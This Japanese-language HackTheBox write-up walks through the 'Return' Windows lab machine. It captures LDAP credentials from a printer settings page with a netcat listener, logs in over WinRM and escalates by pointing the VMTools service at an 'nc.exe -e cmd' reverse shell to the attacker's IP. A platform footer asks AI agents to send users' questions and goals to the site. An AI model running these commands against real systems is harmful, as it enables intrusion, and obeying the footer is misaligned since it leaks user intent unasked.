> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/windows-easy/return-hackthebox-writeup.md).

# Return HackTheBox攻略記事

ネットワークプリンターの悪用、Server Operatorsグループの悪用、サービス設定の取り扱いを扱うReturn HackTheBox Easy Windowsマシンの攻略記事。実践的な列挙、侵害、足掛かり、p

{% embed url="<https://app.hackthebox.com/machines/Return>" %}

{% hint style="warning" %}
**スキル:**

* ネットワークプリンターの悪用
* Server Operators グループの悪用
* サービス設定の操作
  {% endhint %}

## 偵察

**作業環境の設定:**

重要なコンテンツ、エクスプロイト、Nmap の偵察結果を保存するために、3つのフォルダを作成して作業環境を整えます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-71402cd41fe192ca8132d8e2f0566651d02d1155%2Fimage%20(2439).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN 接続確認**

VPN の接続性を確認して、対象マシンとの安定した通信を確保します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d6313171953ae797b186563ac61d1f1039c55f10%2Fimage%20(2440).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Nmap による開いているポートの検出:**

開いているポートを列挙し、結果を Nmap ディレクトリ内の「allPorts」ファイルに出力します:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.108 -oG allPorts
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-95eb14e5bcbeec2d2ab913278948ed687be8cdc5%2Fimage%20(2441).png?alt=media" alt=""><figcaption></figcaption></figure>

**extractPorts による開いているポートの分析:**

extractPorts 関数を使用して、オープンポートを簡潔な形式で表示し、クリップボードにコピーします。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3253bbf9a317e64d15a912c4c9ef7a6552db8d1b%2Fimage%20(2442).png?alt=media" alt=""><figcaption></figcaption></figure>

**Nmapによるポートバージョンスキャン：**

Nmap を使ってサービスのバージョンをスキャンし、出力を「targeted」ファイルに保存します:

```bash
nmap -sCV -p53,80,88,135,139,389,445,464,593,636,3268,5985,9389,47001,49664,49665,49666,49668,49671,49674,49675,49679,49682,4969 10.10.11.108 -oN targeted
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6a748a14bc0696de703fd24b146b98ed6ced56fe%2Fimage%20(2443).png?alt=media" alt=""><figcaption></figcaption></figure>

DNS経由でドメイン名をIPアドレスに解決するには、IPアドレスに関連付けられたドメイン名を `/etc/hosts` ファイル

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0c2b2fb0e8f3085d3919f76ac631a2809f22bc77%2Fimage%20(2444).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

#### ポート80:

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ffa22a9dee14a7dbf1a511893512910b9a48f525%2Fimage%20(2445).png?alt=media" alt=""><figcaption></figcaption></figure>

## ネットワークプリンターの悪用

ポート80の設定では、〜を指すサーバー設定が `print.return.local` ポート389経由で見つかる。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cb8410cedcad5312c5bcf6cae735a85f7287e03d%2Fimage%20(2446).png?alt=media" alt=""><figcaption></figcaption></figure>

**ポート389で待ち受ける**/ 配置することで `netcat` ポート389上に

```bash
nc -nlvp 389
```

* 接続が受信され、〜の認証情報が明らかになる `svc-printer` 〜というユーザーの `1edFg43012!!` パスワード。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a02b8396e804b236ebb4223fff2a4a08a00a01c5%2Fimage%20(2447).png?alt=media" alt="" width="542"><figcaption></figcaption></figure>

**WinRMによる識別子の検証**

WinRMポート（5985）が開いているため、IDは `crackmapexec`:

```bash
crackmapexec winrm 10.10.11.108 -u 'svc-printer' -p '1edFg43012!!'
```

* 「pwned」という返答で認証情報の有効性が確認される。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b304f468cfbcda8c1bc1c5ca143dce3ef8b33bac%2Fimage%20(2448).png?alt=media" alt=""><figcaption></figcaption></figure>

**Evil-WinRM経由でログイン**

を使用する `evil-winrm` 〜でシェルセッションを取得するために `svc-printer`:

<pre class="language-bash"><code class="lang-bash"><strong>evil-winrm -i 10.10.11.108 -u 'svc-printer' -p '1edFg43012!!'
</strong></code></pre>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c39073765eb2110533eeaba2b2ec2f259b1e3842%2Fimage%20(2449).png?alt=media" alt=""><figcaption></figcaption></figure>

### フラグ user.txt :)

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dafc7510d8e39e9bbb3d6e9837a8ba60e07a66dc%2Fimage%20(2450).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## 権限昇格（整合性レベル）:

{% embed url="<https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/integrity-levels>" %}

**所属グループの監査**/ その `whoami /groups` コマンドは、ユーザーが `Mandatory Label/High Mandatory Level` グループに属していることを示し、サービスを管理できるようにする。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-18e36f404ff1222c16351e52fdc5f4516fe5dd1c%2Fimage%20(2451).png?alt=media" alt=""><figcaption></figcaption></figure>

**権限昇格のためのサービス操作**/ ユーザーはサービスを変更し、再起動してより高い権限でコマンドを実行できる可能性がある。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a175403738187ab6a83c6107d37e3c756584a733%2Fimage%20(1102).png?alt=media" alt=""><figcaption></figcaption></figure>

**サービスの作成**/ リバースシェルサービスの作成を `sc.exe`で試みるが、必要な権限がない:

<pre class="language-powershell"><code class="lang-powershell"><strong>sc.exe create reverse binPath="C:/Users/svc-printer/Desktop/nc.exe -e cmd 10.10.14.26 443"
</strong></code></pre>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ce74cefa806ec907e427c9e9b0a5209cd9df522f%2Fimage%20(1105).png?alt=media" alt=""><figcaption></figcaption></figure>

**VMTools サービスの変更**/ 既存のサービスを操作するには、 `nc.exe` がターゲットマシンに転送され、その後 `VMTools` サービスはリバースシェルを実行するように変更される:

* **Netcat の転送**

```bash
cp /home/jordan/Desktop/htb/artic/scripts/netcat/nc.exe .
```

```powershell
upload /home/jordan/Desktop/htb/return/content/nc.exe
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3fac5323b1dafc1f5090ae16e11ec0f40d818681%2Fimage%20(1104).png?alt=media" alt=""><figcaption></figcaption></figure>

ここでは、サービスの実行ファイルをリダイレクトしてリバースシェルコマンドを実行させ、サービスが `SYSTEM` 権限で実行されていれば、高権限のセッションを得られる可能性がある。

```powershell
sc.exe config VMTools binPath="C:/Users/svc-printer/Desktop/nc.exe -e cmd 10.10.14.26 443"
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-63d6c77b2eceaf7740278e4acb6354c22d0a2d1f%2Fimage%20(1107).png?alt=media" alt=""><figcaption></figcaption></figure>

**サービスを再起動**/ 設定後、サービスは再起動され、シェルが起動される:

<pre class="language-powershell"><code class="lang-powershell">sc.exe stop VMTools
<strong>sc.exe start VMTools
</strong></code></pre>

着信接続をポート443で待ち受ける:

```bash
sudo rlwrap nc -nlvp 443
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ebba3c13ebabf1b65a9f8550d04571e08324d213%2Fimage%20(1106).png?alt=media" alt=""><figcaption></figcaption></figure>

### rootフラグ :)

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-86edd39d789abd8d972eb16cbaceafadfd0b44c0%2Fimage%20(1108).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-03f4ee0456c44d183c89aa0e540c874c552dd4f4%2Fimage%20(1109).png?alt=media" alt="" width="536"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/windows-easy/return-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
